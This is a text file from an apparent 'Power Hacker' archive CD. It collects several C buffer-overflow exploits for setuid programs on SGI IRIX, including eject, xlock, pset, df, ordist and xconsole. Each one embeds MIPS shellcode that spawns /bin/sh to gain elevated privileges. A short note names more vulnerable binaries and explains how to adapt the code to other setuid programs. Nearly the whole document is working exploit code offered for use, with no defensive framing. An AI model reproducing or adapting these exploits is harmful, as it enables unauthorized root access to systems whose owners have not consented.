home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / irix-buffer.txt < prev    next >
Encoding:
Text File  |  2001-11-06  |  12.9 KB  |  479 lines

  1.  
  2. ---------------------------------------------------------------------------------
  3. /* copyright by */
  4. /* Last Stage of Delirium, Dec 1996, Poland*/
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <fcntl.h>
  9.  
  10. #define BUFSIZE 2068
  11. #define OFFS 800
  12. #define ADDRS 3
  13. #define ALIGN 0
  14. #define ALIGN2 4
  15.  
  16. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  17. char nop[]="\x24\x0f\x12\x34";
  18.  
  19. void run(unsigned char *buf) {
  20.   execl("/usr/sbin/eject","lsd",buf,NULL);
  21.   printf("execl failed\n");
  22. }
  23.  
  24. char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
  25.  
  26. main(int argc, char *argv[]) {
  27.   char *buf, *ptr, addr[8];
  28.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  29.   int i, noplen=strlen(nop);
  30.  
  31.   if (argc >1) bufsize=atoi(argv[1]);
  32.   if (argc >2) offs=atoi(argv[2]);
  33.   if (argc >3) addrs=atoi(argv[3]);
  34.   if (argc >4) align=atoi(argv[4]);
  35.  
  36.   if (bufsize<strlen(asmcode)) {
  37.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  38.     exit(1);
  39.   }
  40.   if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
  41.     printf("Can't malloc\n");
  42.     exit(1);
  43.   }
  44.  
  45.   *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  46.   printf("address=%p\n",*(int *)addr);
  47.  
  48.   strcpy(buf,nop);
  49.   ptr=buf+noplen;
  50.   buf+=4-align;
  51.   for(i=0;i<bufsize;i++)
  52.    *ptr++=nop[i%noplen];
  53.   memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  54.   for(i=0;i<(addrs<<2);i++)
  55.    *ptr++=addr[i%sizeof(int)];
  56.   *ptr=0;
  57.  
  58.   printf("buflen=%d\n", strlen(buf));
  59.   fflush(stdout);
  60.  
  61.   ptr-=addrs<<2;
  62.   *(int *)addr+=(0x7fff350c-0x7fff31e8)+(4*100)+ALIGN2;
  63.   for(i=0;i<64;i++)
  64.    *ptr++=addr[i&3];
  65.  
  66. /* gp value is set here */
  67.   ptr=buf+ALIGN+(0x7fff2f00-0x7fff2ce8)-24;
  68.   *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff350c-0x7fff31e8-4)+ALIGN2+32+32412;
  69.  
  70.   for(i=0;i<64;i++)
  71.    *ptr++=addr[i&3];
  72.  
  73.   run(buf);
  74. }
  75.  
  76. ------------------------------------------------------------------------------------
  77. /* copyright by */
  78. /* Last Stage of Delirium, Dec 1996, Poland*/
  79.  
  80. #include <stdio.h>
  81. #include <stdlib.h>
  82. #include <fcntl.h>
  83.  
  84. #define BUFSIZE 2072
  85. #define OFFS (800+512+128)
  86. #define ADDRS 0x100
  87. #define ALIGN 2
  88.  
  89. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  90. char nop[]="\x24\x0f\x12\x34";
  91.  
  92. void run(unsigned char *buf) {
  93.   execl("/usr/bin/X11/xlock","lsd","-name",buf,NULL);
  94.   printf("execl failed\n");
  95. }
  96.  
  97. char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
  98.  
  99. main(int argc, char *argv[]) {
  100.   char *buf, *ptr, addr[8];
  101.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  102.   int i, noplen=strlen(nop);
  103.  
  104.   if (argc >1) bufsize=atoi(argv[1]);
  105.   if (argc >2) offs=atoi(argv[2]);
  106.   if (argc >3) addrs=atoi(argv[3]);
  107.   if (argc >4) align=atoi(argv[4]);
  108.  
  109.   if (bufsize<strlen(asmcode)) {
  110.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  111.     exit(1);
  112.   }
  113.   if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
  114.     printf("Can't malloc\n");
  115.     exit(1);
  116.   }
  117.  
  118.   *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  119.   printf("address=%p\n",*(int *)addr);
  120.  
  121.   strcpy(buf,nop);
  122.   ptr=buf+noplen;
  123.   buf+=4-align;
  124.   for(i=0;i<bufsize;i++)
  125.    *ptr++=nop[i%noplen];
  126.   memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  127.   for(i=0;i<(addrs<<2);i++)
  128.    *ptr++=addr[i%sizeof(int)];
  129.   *ptr=0;
  130.  
  131.   printf("buflen=%d\n",strlen(buf));
  132.   fflush(stdout);
  133.  
  134. /* gp value is set here */
  135.   ptr=buf+ALIGN+(0x7fff22c0-0x7fff1ea0);
  136.   *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff3828-0x7fff3468)+32476;
  137.   for(i=0;i<4;i++)
  138.    *ptr++=addr[i&3];
  139.  
  140.   run(buf);
  141. }
  142.  
  143. ------------------------------------------------------------------------------------
  144. /* copyright by */
  145. /* Last Stage of Delirium, Dec 1996, Poland*/
  146.  
  147. /* This one gives you egid=0(sys) */
  148.  
  149. #include <stdio.h>
  150. #include <stdlib.h>
  151. #include <fcntl.h>
  152.  
  153. #define BUFSIZE 4172
  154. #define OFFS 816
  155. #define ADDRS 8
  156. #define ALIGN 3
  157. #define ALIGN2 1
  158.  
  159. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  160. /*
  161. char nop[]="\x24\x0f\x12\x34";
  162. */
  163. char nop[]="\x01\x20\x48\x25";
  164.  
  165. void run(unsigned char *buf) {
  166.   execl("/sbin/pset","lsd","-s","666",buf,NULL);
  167.   printf("execl failed\n");
  168. }
  169.  
  170. char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";
  171.  
  172. /*
  173. unsigned long get_sp(void) {
  174. __asm__("or     $2,$sp,$0");
  175. }
  176. */
  177. main(int argc, char *argv[]) {
  178.   char *buf, *ptr, addr[8];
  179.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  180.   int i, noplen=strlen(nop);
  181.  
  182.   if (argc >1) bufsize=atoi(argv[1]);
  183.   if (argc >2) offs=atoi(argv[2]);
  184.   if (argc >3) addrs=atoi(argv[3]);
  185.   if (argc >4) align=atoi(argv[4]);
  186.  
  187.   if (bufsize<strlen(asmcode)) {
  188.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  189.     exit(1);
  190.   }
  191.   if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
  192.     printf("Can't malloc\n");
  193.     exit(1);
  194.   }
  195.  
  196.   *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  197.   printf("address=%p\n", *(int *)addr);
  198.  
  199.   strcpy(buf,nop);
  200.   ptr=buf+noplen;
  201.   buf+=align;
  202.   for(i=0;i<bufsize;i++)
  203.    *ptr++=nop[i%noplen];
  204.   memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  205.   for(i=0;i<ALIGN2;i++)
  206.    *ptr++=nop[i%noplen];
  207.   for(i=0;i<(addrs<<2);i++)
  208.    *ptr++=addr[i%sizeof(int)];
  209.   *ptr=0;
  210.   printf("buflen=%d\n", strlen(buf));
  211.   fflush(stdout);
  212.  
  213.   run(buf);
  214. }
  215.  
  216. ----- df.c --------------------------------------------------------------------
  217. #include <stdlib.h>
  218. #include <fcntl.h>
  219.  
  220. #define BUFSIZE 2061
  221. #define OFFS 800
  222. #define ADDRS 2
  223. #define ALIGN 0
  224.  
  225. void run(unsigned char *buf) {
  226.  
  227.   execl("/usr/sbin/df", "df", buf, NULL);
  228.   printf("execl failed\n");
  229. }
  230.  
  231. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  232. char nop[]="\x24\x0f\x12\x34";
  233.  
  234. unsigned long get_sp(void) {
  235. __asm__("or     $2,$sp,$0");
  236. }
  237.  
  238. /* this align stuff sux - i do know. */
  239. main(int argc, char *argv[]) {
  240.   char *buf, *ptr, addr[8];
  241.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  242.   int i, noplen=strlen(nop);
  243.  
  244.   if (argc >1) bufsize=atoi(argv[1]);
  245.   if (argc >2) offs=atoi(argv[2]);
  246.   if (argc >3) addrs=atoi(argv[3]);
  247.   if (argc >4) align=atoi(argv[4]);
  248.  
  249.   if (bufsize<strlen(asmcode)) {
  250.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  251.     exit(1);
  252.   }
  253.   if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
  254.     printf("Can't malloc\n");
  255.     exit(1);
  256.   }
  257.   *(int *)addr=get_sp()+offs;
  258.   printf("address - %p\n", *(int *)addr);
  259.  
  260.   strcpy(buf, nop);
  261.   ptr=buf+noplen;
  262.   buf+=noplen-bufsize % noplen;
  263.   bufsize-=bufsize % noplen;
  264.  
  265.   for (i=0; i<bufsize; i++)
  266.     *ptr++=nop[i % noplen];
  267.   memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
  268.     memcpy(ptr, nop, strlen(nop));
  269.     ptr+=align;
  270.   for (i=0; i<addrs<<2; i++)
  271.     *ptr++=addr[i % sizeof(int)];
  272.   *ptr=0;
  273.   printf("total buf len - %d\n", strlen(buf));
  274.  
  275.   run(buf);
  276. }
  277. --- end of df.c ---------------------------------------------------------------
  278.  
  279. --- ordist.c ------------------------------------------------------------------
  280.  
  281. #include <stdlib.h>
  282. #include <fcntl.h>
  283.  
  284. #define BUFSIZE 306
  285. #define OFFS 800
  286. #define ADDRS 2
  287. #define ALIGN 2
  288.  
  289. void run(unsigned char *buf) {
  290.  
  291.   execl("/usr/bsd/ordist", "ordist", "-d", buf, "-d", buf, NULL);
  292.   printf("execl failed\n");
  293. }
  294.  
  295. char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
  296. char nop[]="\x24\x0f\x12\x34";
  297.  
  298. unsigned long get_sp(void) {
  299. __asm__("or     $2,$sp,$0");
  300. }
  301.  
  302. /* this align stuff sux - i do know. */
  303. main(int argc, char *argv[]) {
  304.   char *buf, *ptr, addr[8];
  305.   int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  306.   int i, noplen=strlen(nop);
  307.  
  308.   if (argc >1) bufsize=atoi(argv[1]);
  309.   if (argc >2) offs=atoi(argv[2]);
  310.   if (argc >3) addrs=atoi(argv[3]);
  311.   if (argc >4) align=atoi(argv[4]);
  312.  
  313.   if (bufsize<strlen(asmcode)) {
  314.     printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
  315.     exit(1);
  316.   }
  317.   if ((buf=malloc(bufsize+ADDRS<<2+noplen+1))==NULL) {
  318.     printf("Can't malloc\n");
  319.     exit(1);
  320.   }
  321.   *(int *)addr=get_sp()+offs;
  322.   printf("address - %p\n", *(int *)addr);
  323.  
  324.   strcpy(buf, nop);
  325.   ptr=buf+noplen;
  326.   buf+=noplen-bufsize % noplen;
  327.   bufsize-=bufsize % noplen;
  328.  
  329.   for (i=0; i<bufsize; i++)
  330.     *ptr++=nop[i % noplen];
  331.   memcpy(ptr-strlen(asmcode), asmcode, strlen(asmcode));
  332.     memcpy(ptr, nop, strlen(nop));
  333.     ptr+=align;
  334.   for (i=0; i<addrs<<2; i++)
  335.     *ptr++=addr[i % sizeof(int)];
  336.   *ptr=0;
  337.   printf("total buf len - %d\n", strlen(buf));
  338.  
  339.   run(buf);
  340. }
  341. --- end of ordist.c -----------------------------------------------------------
  342.  
  343.  
  344.  
  345.  
  346.  
  347. ================================================================================
  348.  
  349.  
  350.  
  351.         The code that follows this text, written by David Hedley, can be
  352. used to exploit various other programs just the same. He suggested that
  353. they probably use a shared librarry, seems that that may be so. I've been
  354. looking through around and trying some things. Here are some more that can
  355. be exploited in the same manner:
  356.  
  357. NOTE: This has only been tested on an Indy R4600 IRIX 5.3
  358.  
  359. /usr/sbin/X11/xconsole
  360. /usr/sbin/X11/cdplayer
  361. /usr/sbin/xwsh (requires argument of "4")
  362. /usr/sbin/monpanel
  363.  
  364. The only thing you'll have to modify in the following code is the PATH and
  365. the PATH_PROG variables. I'm sure with bigger  modfications of this code
  366. you can exploit virtually anything suid. If it doesn't seem to work of
  367. gives you a   "Bus Error" then try using the "4" argument that Mr Hedley
  368. suggested. Reports of any other finds would be appreciated, Thanks
  369.  
  370. ========Cut Here=======
  371. /* Exploit by David Hedley <hedley@cs.bris.ac.uk>
  372.  * 27/5/97
  373.  *
  374.  * _very_ slighty modified by Patrick J..Paulus <pjp@stepahead.net>
  375.  *
  376.  */
  377. #include <stdio.h>
  378. #include <stdlib.h>
  379. #include <string.h>
  380. #include <sys/types.h>
  381. #include <unistd.h>
  382.  
  383. #define NUM_ADDRESSES 500
  384. #define BUF_LENGTH 500
  385. #define EXTRA 9000
  386. #define OFFSET  0x180    /* 0x184 for Irix 6.x */
  387. #define GP_OFFSET       -0x80
  388. #define IRIX_NOP        0x03e0f825 /* move $ra,$ra */
  389. #define PATH_PROG        "/usr/bin/X11/xconsole" /* path & program name */
  390. #define PROG            "xconsole" /* program */
  391.  
  392. #define u_long unsigned
  393.  
  394. u_long get_sp_code[] = {
  395.     0x03a01025, /* move $v0,$sp */
  396.     0x03e00008, /* jr $ra */
  397.     0x00000000, /* nop */ };
  398.  
  399. u_long irix_shellcode[] = {
  400.     0x24041234, /* li $4,0x1234 */
  401.     0x2084edcc, /* sub $4,0x1234 */
  402.     0x0491fffe, /* bgezal $4,pc-4 */
  403.     0x03bd302a, /* sgt $6,$sp,$sp */
  404.     0x03bd202a, /* sgt $4,$sp,$sp */
  405.     0x240203ff, /* li $v0,1023 */
  406.     0x03ffffcc, /* syscall 0xfffff */
  407.     0x23e40138, /* addi $4,$31,264+48 */
  408.     0xa086feff, /* sb $6,-264+7($4)  */
  409.     0x2084fef8, /* sub $4,264 */
  410.     0x20850110, /* addi $5,$4,264+8 */
  411.     0xaca4fef8, /* sw $4,-264($5)  */
  412.     0xaca6fefc, /* sw $4,-260($5)  */
  413.     0x20a5fef8, /* sub $5, 264 */
  414.     0x240203f3, /* li $v0,1011 */
  415.     0x03ffffcc, /* syscall 0xfffff */
  416.     0x2f62696e, /* "/bin"  */
  417.     0x2f7368ff, /* "/sh"  */ };
  418.  
  419. char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8];
  420.  
  421. void main(int argc, char **argv)  {
  422.     char *env[] = {NULL};
  423.     u_long targ_addr, stack, tmp;
  424.     u_long *long_p;
  425.     int i, code_length = strlen((char *)irix_shellcode)+1;
  426.     u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
  427.  
  428.     stack = get_sp();
  429.  
  430.     if (stack & 0x80000000) {
  431.         printf("Recompile with the '-32' option\n");
  432.         exit(1);
  433.     }
  434.  
  435.     long_p =(u_long *)  buf;
  436.     targ_addr = stack + OFFSET;
  437.  
  438.     if (argc > 1)
  439.         targ_addr += atoi(argv[1]);
  440.  
  441.     tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3;
  442.  
  443.     while ((tmp & 0xff000000) == 0 ||
  444.            (tmp & 0x00ff0000) == 0 ||
  445.            (tmp & 0x0000ff00) == 0 ||
  446.            (tmp & 0x000000ff) == 0)
  447.         tmp += 4;
  448.  
  449.     for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) {
  450.         *long_p++ = tmp;
  451.         *long_p++ = tmp;
  452.         *long_p++ = targ_addr;
  453.         *long_p++ = targ_addr;
  454.     }
  455.  
  456.     for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  457.         *long_p++ = IRIX_NOP;
  458.  
  459.     for (i = 0; i < code_length/sizeof(u_long); i++)
  460.         *long_p++ = irix_shellcode[i];
  461.  
  462.     tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3;
  463.  
  464.     for (i = 0; i < EXTRA / sizeof(u_long); i++)
  465.         *long_p++ = (tmp >> 8) | (tmp << 24);
  466.  
  467.     *long_p = 0;
  468.  
  469.     printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
  470.  
  471.     execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env);
  472.     perror("execl failed");
  473. }
  474.  
  475.  
  476.  
  477.  
  478. ===========================================================================
  479.